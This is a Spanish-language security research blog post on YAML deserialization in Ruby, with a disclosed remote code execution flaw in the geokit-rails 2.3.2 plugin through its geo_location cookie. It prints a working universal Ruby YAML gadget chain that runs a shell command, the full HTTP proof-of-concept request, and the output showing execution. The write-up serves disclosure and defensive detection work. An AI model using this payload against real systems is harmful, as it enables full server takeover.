Skip to main content

Detección de deserialización de YAML con Snyk Code

Escrito por
Headshot of Calum Hutton

Calum Hutton

23 de febrero de 2023

0 minutos de lectura

Realicé una investigación para intentar identificar problemas de inyección de YAML en proyectos de código abierto con Snyk Code. Aunque la vulnerabilidad en sí no es nueva, el impacto potencial de la inyección de YAML es alto, por lo que resultó ser una buena candidata para la investigación. Esta investigación permitió descubrir varios problemas en proyectos de código abierto escritos en Python, PHP y Ruby. Este artículo se centra en el problema encontrado en geokit-rails versión 2.3.2, un complemento para Ruby on Rails

YAML

YAML es mucho más que un simple formato de intercambio de datos como JSON. La especificación describe varias funciones avanzadas que lo convierten en un buen candidato para investigar su seguridad, como las siguientes:

  • Etiquetas personalizadas (por ejemplo, PyYAML)

  • Anclas y alias

  • Atributos combinados

  • Flujos de varios documentos

YAML también se puede usar para serializar datos binarios y objetos arbitrarios en distintos lenguajes, lo que puede dar lugar a vulnerabilidades de deserialización. Estas vulnerabilidades son el objetivo de esta investigación, ya que su explotación suele permitir la ejecución remota de código (RCE).

Deserialización de YAML en Ruby

En Ruby, el análisis de YAML está integrado en el lenguaje, así que no se necesitan bibliotecas adicionales. Si una aplicación usa el analizador YAML integrado de Ruby, es vulnerable a ataques de deserialización si se usa YAML.load() o YAML.load_file() en lugar de YAML.safe_load() o YAML.safe_load_file(), respectivamente. El proyecto SafeYAML ofrece un analizador alternativo de YAML seguro de forma predeterminada.

El siguiente script y su salida muestran una forma insegura de cargar YAML con YAML.load().

require 'yaml'

var = {
 id: 1,
 desc: 'A simple hash'
}

yaml = '---
:id: 1
:desc: A simple hash'

puts var
puts YAML.load(yaml)

# Prints:

{:id=>1, :desc=>"A simple hash"}
{:id=>1, :desc=>"A simple hash"}

La variable var contiene un hash simple de Ruby, y la variable yaml contiene el hash equivalente serializado en formato YAML. Ambas instrucciones puts muestran el mismo hash, porque la variable yaml se deserializó de una cadena YAML a un hash mediante YAML.load(). También es posible serializar y deserializar objetos más complejos de esta manera. 

Durante las etapas iniciales de esta investigación, encontré un gadget universal de deserialización de YAML para Ruby que funcionaba en las versiones 2.x a 3.x de Ruby y que, al deserializarse, ejecutaba comandos arbitrarios.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

La carga útil de YAML anterior ejecutará el comando id al deserializarse, si se analiza mediante YAML.load() o YAML.load_file().

Caso de estudio: geokit-rails (2.3.2)

La gema geokit-rails es un complemento para Ruby on Rails que proporciona servicios de ubicación a la aplicación. El complemento usa el método inseguro YAML.load() mediante el método retrieve_location_from_cookie_or_service() en geokit-rails/ip_geocode_lookup.rb:

# Uses the stored location value from the cookie if it exists.  If
# no cookie exists, calls out to the web service to get the location.
def retrieve_location_from_cookie_or_service
 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
 return location.success ? location : nil
end

Los datos que llegan al método inseguro YAML.load() provienen del parámetro cookies de Ruby on Rails, que contiene las cookies enviadas en la solicitud. Esto es una buena noticia para un atacante, ya que puede controlar directamente las cookies si crea la solicitud HTTP adecuada. 

Prueba de concepto

Configuré una aplicación de Rails que ejecutaba el complemento geokit-rails (versión 2.3.2) en Ruby 3.0.0. Envié la siguiente solicitud HTTP a la aplicación para explotar el problema. Incluye la carga útil de YAML codificada en URL en la cookie geo_location.

GET http://127.0.0.1:3000/vulns HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

En la aplicación de Rails, la carga útil se deserializó y ejecutó, y el comando id se ejecutó para demostrar que era posible ejecutar comandos.

Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
sh: reading: command not found 
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
Completed 500 Internal Server Error in 167ms (Allocations: 35610)

En un sistema que use geokit-rails, un atacante que explotara esta vulnerabilidad podría iniciar una ejecución remota de código (RCE), lo que potencialmente le permitiría tomar el control total del sistema. 

Corrección

Este problema se comunicó de manera responsable a la persona encargada del mantenimiento de geokit-rails y se corrigió en la versión 2.5.0 del software, reemplazando con JSON el YAML que contenía la información de coordenadas. A partir de esta investigación, se mejoraron y ampliaron las reglas de Snyk Code para detectar inyecciones de YAML, por lo que ahora deberían poder detectarse más de estos problemas en los proyectos de los usuarios. 

Comienza con Capture the Flag

Aprende a resolver desafíos de Capture the Flag con nuestro taller virtual 101 a pedido.

Leer más

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

Blog

Por qué los agentes de programación con IA siguen generando fallas de control de acceso

Los agentes de programación con IA pueden generar lógica de autorización que compila y supera la revisión, pero expone los datos de un inquilino a otro. Descubre por qué es difícil detectar el control de acceso roto y cómo prevenirlo.